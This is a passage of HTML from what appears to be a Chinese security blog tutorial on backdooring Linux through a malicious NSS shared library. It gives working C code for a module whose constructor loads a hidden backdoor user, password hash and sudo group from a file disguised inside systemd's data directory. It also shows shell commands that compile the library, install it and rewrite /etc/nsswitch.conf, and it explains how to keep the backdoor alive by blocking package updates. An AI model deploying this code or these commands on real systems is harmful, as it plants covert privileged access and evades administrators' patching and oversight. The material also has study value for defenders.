leaf="">/etc/sudoers.d/</span></code><span leaf="">、创建 cron 定时任务等。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">constructor 与数据劫持是两个独立的攻击维度，可以共存于同一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 中：constructor 负责&#34;一次性&#34;动作（如植入后门），NSS 查询函数负责&#34;持续性&#34;动作（如伪造用户数据）。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">6.6 密码可配置化</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当前所有后门模块都有一个共同的限制：</span><strong style="font-weight: bold;color: black;"><span leaf="">密码哈希和用户名硬编码在源码中</span></strong><span leaf="">。每次更换密码或用户名都需要重新编译 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 文件，这在实战中极不方便。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">改进方案：将后门配置（用户名、密码哈希、UID/GID）存储在外部文件中，模块在运行时读取。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">配置文件设计</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">选择一个不引人注意的路径存放配置文件，例如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/var/lib/systemd/.nss_cache</span></code><span leaf="">（混入 systemd 的数据目录中，不容易被注意到）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">landscape:$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0:107:109:27</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">格式为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">用户名:密码哈希:UID:GID:sudo组GID</span></code><span leaf="">。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">代码实现</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在 6.3 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop</span></code><span leaf=""> 模块代码基础上，将硬编码的宏定义替换为全局变量，并添加 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__attribute__((constructor))</span></code><span leaf=""> 在模块加载时读取配置文件：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> CONF_FILE </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/var/lib/systemd/.nss_cache&#34;</span></span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> cfg_user[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">64</span></span><span leaf="">] = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;landscape&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> cfg_hash[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">] = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> cfg_uid = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">107</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> cfg_gid = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">109</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> cfg_sudo_gid = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">27</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">__attribute__((constructor))</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">load_config</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf="">)</span></span><span leaf=""><br/></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    FILE *f = fopen(CONF_FILE, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;r&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!f) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> line[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1024</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (fgets(line, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(line), f))</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *saveptr = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *tok;</span><span leaf=""><br/></span><span leaf="">        tok = strtok_r(line, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;:\n&#34;</span></span><span leaf="">, &amp;saveptr);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (tok) </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strncpy</span></span><span leaf="">(cfg_user, tok, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(cfg_user) - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        tok = strtok_r(</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;:\n&#34;</span></span><span leaf="">, &amp;saveptr);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (tok) </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strncpy</span></span><span leaf="">(cfg_hash, tok, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(cfg_hash) - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        tok = strtok_r(</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;:\n&#34;</span></span><span leaf="">, &amp;saveptr);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (tok) cfg_uid = atoi(tok);</span><span leaf=""><br/></span><span leaf="">        tok = strtok_r(</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;:\n&#34;</span></span><span leaf="">, &amp;saveptr);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (tok) cfg_gid = atoi(tok);</span><span leaf=""><br/></span><span leaf="">        tok = strtok_r(</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;:\n&#34;</span></span><span leaf="">, &amp;saveptr);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (tok) cfg_sudo_gid = atoi(tok);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    fclose(f);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">其余函数（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam_r</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwuid_r</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">initgroups_dyn</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getspnam_r</span></code><span leaf="">）与 6.3 完全一致，只需将硬编码的宏替换为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cfg_*</span></code><span leaf=""> 变量：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 6.3 原始（硬编码）</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, HIJACK_USER) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 6.5 改为（可配置）</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, cfg_user) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">关键特性</span></h4><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__attribute__((constructor))</span></code></strong><span leaf="">：模块被 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf=""> 时自动执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">load_config()</span></code><span leaf="">，无需手动调用</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">配置文件不存在时使用默认值</span></strong><span leaf="">：即使配置文件被删除，模块仍以编译时的默认值工作</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">配置文件路径隐蔽</span></strong><span leaf="">：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/var/lib/systemd/.nss_cache</span></code><span leaf=""> 混入 systemd 的数据目录中，不容易被注意到</span></p></li></ol><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">部署与使用</span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 编译</span></span><span leaf=""><br/></span><span leaf="">gcc -shared -fPIC -o libnss_nop.so.2 nss_nop_configurable.c</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 创建配置文件</span></span><span leaf=""><br/></span><span leaf="">sudo mkdir -p /var/lib/systemd</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;landscape:$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0:107:109:27&#39;</span></span><span leaf=""> | \</span><span leaf=""><br/></span><span leaf="">    sudo tee /var/lib/systemd/.nss_cache</span><span leaf=""><br/></span><span leaf="">sudo chmod 600 /var/lib/systemd/.nss_cache</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 部署</span></span><span leaf=""><br/></span><span leaf="">sudo cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/libnss_nop.so.2</span><span leaf=""><br/></span><span leaf="">sudo sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^passwd:.*/passwd:         nop files systemd/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span><span leaf=""><br/></span><span leaf="">sudo sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^shadow:.*/shadow:         nop files systemd/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span><span leaf=""><br/></span><span leaf="">sudo sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^group:.*/group:          nop files systemd/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">更换密码时，只需修改配置文件，无需重新编译：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 生成新密码哈希</span></span><span leaf=""><br/></span><span leaf="">NEW_HASH=$(openssl passwd -6 -salt newsalt anotherpassword)</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;landscape:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${NEW_HASH}</span></span><span leaf="">:107:109:27&#34;</span></span><span leaf=""> | sudo tee /var/lib/systemd/.nss_cache</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">注意：根据 6.1 的热加载实验，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf=""> 加载模块后，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">constructor</span></code><span leaf=""> 只执行一次。修改配置文件后，需要触发模块</span><strong style="font-weight: bold;color: black;"><span leaf="">重新加载</span></strong><span leaf="">才能生效。由于 sshd 等服务采用 fork 模型，子进程通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">fork()</span></code><span leaf=""> 继承父进程的整个地址空间（包括已加载 .so 的 mmap 映射和全局变量状态），因此不会重新执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf=""> 和 constructor。也就是说，已运行的 sshd 主进程及其 fork 出的所有子进程，使用的都是 constructor 首次执行时读取的配置。因此修改配置后，需要</span><strong style="font-weight: bold;color: black;"><span leaf="">重启 sshd 服务</span></strong><span leaf="">（或其他目标服务）才能使新配置生效——重启后新主进程重新加载模块，constructor 读取最新的配置文件。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">6.7 持久化——抵御系统更新覆盖</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">0x05 方式有一个固有的风险：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">apt upgrade</span></code><span leaf=""> 更新 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss-systemd</span></code><span leaf=""> 包时，会用正版 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 覆盖木马模块，后门自动失效。 刚好，当前系统的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss-systemd</span></code><span leaf=""> 有更新，天意啊</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.04351851851851852" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019448" src="https://wechat2rss.xlab.app/img-proxy/?k=74c48ca8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YhtfROMmSmas9xMAZf62AR3ZiaZicBtwIzp40JsDyaELKrsRYicuSj4ibibh0yRoyO0lWN5KUYs9rNwoOniaXaT4N4Njzlr3qky7ic4Hk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们先按照 0x05 方式创建好后门环境（每次实验结束后会还原快照）</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.18611111111111112" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019450" src="https://wechat2rss.xlab.app/img-proxy/?k=007641fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6Yhlf1eKszSUGc6XCx20875PzLuXPG3QnVJT19IOsEZjhSQMoZoGc998PJAqME8vfNibp6GAibUTYVE543YPlLg83IyJf4QokribLY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.22962962962962963" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019449" src="https://wechat2rss.xlab.app/img-proxy/?k=036d8e74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YjJY4NjHQNfibW53DYEavoarAsk562u436qlFzqzib3Gdp1f0uGuk5EJRP5ZuRmtUk4JRFoL4M6LW11jyB98G9gG0ctaqg7YA0uU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4527777777777778" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019452" src="https://wechat2rss.xlab.app/img-proxy/?k=aa8f9944&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YghON2JhJeIcKJeZfY1xUCJeXd5Xxzw5VNznRiaBhuRUibdXUwryEuK7COwkcab7lqOnYSeia8ewTibJ3TvqQgAP6ibYIcOO3O6V8wY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">方案一：apt-mark hold</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">最简单的方式是锁定包版本，阻止系统更新：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">sudo apt-mark hold libnss-systemd</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">验证（注意：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">apt list --upgradable</span></code><span leaf=""> 不受 hold 影响，即使 hold 生效仍会显示可升级，应使用以下命令验证）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">apt-mark showhold</span><span leaf=""><br/></span><span leaf="">dpkg --get-selections libnss-systemd</span><span leaf=""><br/></span><span leaf="">sudo apt upgrade --dry-run 2&gt;&amp;1 | grep -A1 </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;kept back&#34;</span></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6416666666666667" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019455" 